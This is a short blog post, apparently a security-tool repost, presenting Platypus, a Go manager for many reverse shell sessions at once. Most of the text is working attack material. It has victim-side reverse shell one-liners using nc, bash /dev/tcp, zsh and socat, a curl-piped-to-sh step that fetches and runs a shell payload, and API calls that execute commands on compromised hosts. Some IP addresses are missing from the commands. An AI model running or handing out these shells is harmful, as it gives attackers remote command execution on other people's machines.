Post Exploitation

Platypus – A Modern Multiple Reverse Shell Sessions Manager Written In Go

Platypus - A Modern Multiple Reverse Shell Sessions Manager Written In Go


A modern multiple reverse shell sessions/clients manager via terminal written in go.


  • Multiple service listening port
  • Multiple client connections
  • RESTful API
  • Reverse shell as a service


Network Topology

Attack IP:
    Reverse Shell Service:
    RESTful Service:
Victim IP:

Run Platypus from source code

go get
cd go/src/
go run platypus.go

Run Platypus from release binaries

// Download binary from
chmod +x ./Platypus_linux_amd64

Victim side

nc -e /bin/bash 8080
bash -c 'bash -i >/dev/tcp/ 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 8080 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:  

Reverse shell as a Service

// Platypus is able to multiplexing the reverse shell listening port
// The port 8080 can receive reverse shell client connection
// Also these is a Reverse shell as a service running on this port
// victim will be redirected to attacker-host attacker-port
// sh -c "$(curl http://host:port/attacker-host/attacker-port)"
# curl
bash -c 'bash -i >/dev/tcp/ 0>&1'
# sh -c "$(curl"
/ if the attacker info not specified, it will use host, port as attacker-host attacker-port
// sh -c "$(curl http://host:port/)"
# curl
# sh -c "$(curl http://host:port/)"


    • GET /client List all online clients
# curl ''
    "msg": [
    "status": true
  • POST /client/:hash execute a command on a specific client
# curl -X POST '' --data 'cmd=whoami'
    "status": true,
    "msg": "rootn",
  • How to hash?
# echo -n "" | md5sum
0723c3bed0d0240140e10a6ffd36eed4  -

About the author

Mazen Elzanaty

Add Comment

Click here to post a comment

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: